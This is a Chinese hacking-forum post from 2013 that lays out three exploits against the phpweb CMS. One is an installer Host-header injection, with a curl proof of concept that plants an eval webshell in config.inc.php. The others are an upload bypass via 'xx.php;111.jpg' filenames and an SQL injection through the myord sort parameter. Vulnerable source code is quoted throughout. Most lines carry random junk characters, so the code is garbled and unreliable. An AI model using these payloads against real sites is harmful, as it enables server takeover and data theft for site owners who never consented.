找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2523|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
( Q7 \& T7 `8 R. B. q3 ^
) |, @: c; Q8 f( T" O' o之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码8 g; H+ p9 G3 G! ^1 v

: h/ ^4 k9 {4 g' U4 p0 O  k; j' O" q鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件1 O3 P* U5 j7 P  L, X1 u! M9 S, c
鸡肋2: 有一定安全常识的站长都会删掉 install 目录( {1 |1 l- V1 q  h
6 E& p0 P5 E) X; J; V, {
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响& w! j+ E0 N+ h/ o2 ?
; p  s# {, |9 O' q
分析:
6 l7 D2 T1 v  i0 K' s. t8 j" v
: b5 a  k5 ?3 \! o4 v  U, b # P+ h8 `. j  G1 T9 B/ n2 r
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
$ m! _3 z9 Y' g- |
  F( f. u( v( k0 I                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);; ~" X+ G! R/ c! e" m7 o/ A4 @! s( U! }
                                            $filestr=str_replace(" ","",$filestr);, s( ~9 m4 ]: X- ^, ]* R4 C
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
5 d9 [7 u7 Z' w& Q                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
6 a4 }% T# e% N8 [/ H: D$ I6 C7 r                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);: d, n! O0 l7 m  V- @& `
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);9 [+ t2 o3 M+ `4 p2 U  W# U/ c
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
- U9 \4 l3 H4 H' u' l                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
" @" {, d+ ?; q' b6 I& ?0 C$ y) _& {: L                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
8 j5 W  ]7 s' F; j  I7 M2 v5 D
, T  g* a' h3 G                                            fwrite(fopen($ConFile,"w"),$filestr,30000);* v7 `5 u/ L' A5 e
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
: \: J4 c" Z0 O9 P: m
+ s) B# z( |$ H/ s. Q' G( bpoc:
' B, @+ E) b$ b% B# x$ i 5 b6 E) Q8 K& @0 \7 ?
?
5 k' A) r4 J4 r; N1 e$ n1
& a1 S5 e2 l9 ?. r8 Ucurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"9 r! n, G! \! _  K
shell地址: /config.inc.php0 W4 l1 [3 W" X2 u/ q/ |& z
跟之前的 phpcms一样 需要远程数据库
' w9 R* z/ x& i! ~/ e! b' b3 R
) X7 C" T* N8 Y% t: e" F——————————————————–
7 G: g* Y  I$ L) d1 y6 w6 B上传漏洞(需要进后台):
4 ~' q0 y! n4 H) ?3 E漏洞文件: /kedit/upload_cgi/upload.php1 J' c' `( Y  d' D6 s
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
1 N/ C( o# G  g6 }) x3 Y3 c! P7 U5 ~
; l  Y) r2 V- S9 E
* E( b& X) [  i/ h- q& @<?php+ k$ H& k* A9 d7 O: l$ G- C! V, ?
    define("ROOTPATH", "../../");
. W2 Q# k( l; n, ~2 J/ H, C    include(ROOTPATH."includes/admin.inc.php");6 ^- r; U1 s7 V+ J% g% F9 k. _
    NeedAuth(0);
) K2 [2 X. X7 v: N# z5 N% u: r/ U/ A
% @, u. n: k# k0 _% H    $dt=date("Ymd",time());
7 w1 ^3 k& W3 S& [. J3 J    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
8 \% j# Z  J# {2 S: \3 d5 E! U8 M            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
: G9 o9 @  r9 b    }
  ^/ |- S; |* B. _
- L" J0 Q, E' F9 x& }) `9 @5 P    //文件保存目录路径
; v" R6 X2 y, T1 C& G! ?5 z! p    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
4 t4 e! L- e7 n7 S2 u    echo $save_path;9 W3 v% H( y1 x% t# m) X' e0 S  h7 o
    //文件保存目录URL, D. F7 n  X+ p; q& A
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
! p  O% O% H& y1 y/ D
: Q/ O6 x# ^) b, Z    //定义允许上传的文件扩展名
6 H' W; c9 P/ g    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀9 M5 n# E) U" y+ ^' p% Y+ o, g
% v* d! H; f, ^" m9 h1 o
    //最大文件大小
2 y0 l+ [, x% E0 t8 v    $max_size = 1000000;
4 W( E9 @3 N4 I   Q+ H0 L; B$ p7 M& d- l8 Y7 c
    //更改目录权限
3 K2 F+ n) B0 ^, X. ]: e    @mkdir($save_path, 0777);
( @. C* g7 d( e/ _: D. v / i0 X# k0 s9 U8 d' k
    //文件的全部路径
+ K$ B  c8 W6 t. ?    $file_path = $save_path.$_POST['fileName'];   //保存文件名/ g# L! i5 c5 n2 I/ w9 q- \( Z9 c3 |& [

4 J( K; E9 E6 X! {# Z# s    //文件URL4 X9 u/ V: D7 C! L
    $file_url = $save_url.$_POST['fileName'];
' J  k" m7 d& v0 _//有上传文件时
' s; s& X) e2 s& D    if (empty($_FILES) === false) {/ K6 O5 l+ N, n0 Q7 z
" b& A1 H8 h4 P, K, e1 ?
            //原文件名! r+ P2 ^% h2 i# z1 V8 o; b0 L
            $file_name = $_FILES['fileData']['name'];  q9 P8 k4 F& L) s7 U6 E0 Z
            //服务器上临时文件名
- j7 L# w# b4 K9 y/ J5 W7 Q7 k            $tmp_name = $_FILES['fileData']['tmp_name'];
/ D5 q: ~" ^0 ^. P, a8 J            //文件大小
: w  w1 w& l9 F0 V            $file_size = $_FILES['fileData']['size'];/ R, [. o. w3 V1 ~2 C- ]
            //检查目录' @5 v: k8 `$ p( M$ m6 p" Z% H
            if (@is_dir($save_path) === false) {7 p) @% K$ D, m: h, X
                    alert("上传目录不存在。");, a/ u& k2 V) \* |, M/ [6 a% R
            }
) {+ Z" ?$ M, R' [9 Z/ W            //检查目录写权限5 z7 ]8 p3 J6 V
            if (@is_writable($save_path) === false) {  G0 V, u: D/ G- r) N/ o# f
                    alert("上传目录没有写权限。");
' {7 v1 X: S) _            }  h! e! l! e! h! ~* g
            //检查是否已上传$ e+ d" W& d; }7 W' r( a; S
            if (@is_uploaded_file($tmp_name) === false) {
7 Y/ |6 J) ]" l; E9 `$ b" y+ X8 A                    alert("临时文件可能不是上传文件。");! l4 f2 C9 J- e" n# V
            }
3 P. k1 ]; M& {0 r' v            //检查文件大小
7 a" l. v- }" w# G( r; I- i3 x  O            if ($file_size > $max_size) {: G( [( W2 T( o. i
                    alert("上传文件大小超过限制。");
/ {) q5 D* c6 C8 U            }  T- N$ x. }- X& N" ~" a1 Y0 {! m
            //获得文件扩展名0 s5 B% g1 {# p5 W+ g7 f9 }
            $temp_arr = explode(".", $_POST['fileName']);6 @0 q( Y6 [0 `
            $file_ext = array_pop($temp_arr);
$ |- z4 T2 f& m/ }            $file_ext = trim($file_ext);5 ?/ e% T8 g5 Y$ X6 G) L0 D/ r
            $file_ext = strtolower($file_ext);# U$ D2 U5 a8 V6 H/ S7 S. V9 H
$ \. z- C! X+ w
            //检查扩展名   1 U7 ~! f# `( l; c$ K
            if (in_array($file_ext, $ext_arr) === false) {     6 r9 x' u8 d/ j7 k4 k+ i
                    alert("上传文件扩展名是不允许的扩展名。");
$ P2 `2 _. A2 [  y/ w) e9 S# x' G            }
4 q& D& P* G2 Z; d 6 P9 E  ~2 l+ j# k
            //移动文件     D' V% ?/ U; f' w# z  p- Q
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^: q- [1 k1 r- C8 p/ A
            if (move_uploaded_file($tmp_name, $file_path) === false) {7 i2 F2 [+ a  I" y1 ~. _( t
                    alert("上传文件失败。");, N$ V! r7 A0 ~( s6 F
            }
# C& s6 R% W6 b" z, }+ K% V$ s2 K & X, m: z0 S/ w+ x- H( o: l% D* }
            @chmod($file_path,0666);
8 \+ @/ n1 }: ?+ q# P& K9 g & W$ o- F. N- G
    ?>, M' N3 I2 e6 F3 {2 F$ E' _
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227( r4 }' W( z7 ]* U( @

# [  F; j- E7 F* x0 ]9 F; E8 Bapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
' [6 N/ m) K6 L+ R5 O 7 l9 _/ L" D& m& D1 L& a. @8 J
——————————————————3 a' f! T4 ~4 M) i9 k# B
注入漏洞:
9 D8 L% \) |* F漏洞文件:search/module/search.php0 ^  w! F4 I4 I' Z; Y* j
/search/index.php?key=1&myord=1 [sqlinjection]! w* }' Z4 V; f( `: j- R

1 x7 a% e. w+ f) f8 K( \# p
6 Z5 r# J6 W- o0 J' L6 f7 \/ |. J<?php6 I, c8 C1 c" p0 f7 C% P
   //       ... 省略 n 行...
+ Q( \4 n3 j" ]   //第18行:; H' ?" a) c6 o! k+ F; X! M
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响2 i" }9 R( O' s# |3 T0 e
           $page=htmlspecialchars($_GET["page"]);- M8 G0 p' {5 k9 x3 P+ L
           $myord=htmlspecialchars($_GET["myord"]);# _5 D3 V/ I- Z! W; Z( ^* V
" G$ w; q0 O( L! }  j9 }
   //       ... 省略 n 行..." q  L+ l& V1 {: C$ o
   $key,$myord 两个参数带入查询8 c1 E" |3 q& r1 A, S, e5 ]7 J/ Y
   //第47行 $key:
/ x; R! p# ?6 Z, L
4 s' k: w" \0 h. k  p  O2 C   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..4 s0 O8 Y  w: A2 ]* q- G  V- @

9 U7 [( b5 m/ I1 v& ~. H$ {" M   //第197行 $myord
" I$ |  @8 [, I* n' r6 T: Q- m6 t! j   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入9 a2 C3 s7 X& N7 h! [

( h1 _  D0 R: w0 c! A9 e   ?>
6 j. P' t- d$ q: v- t4 ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表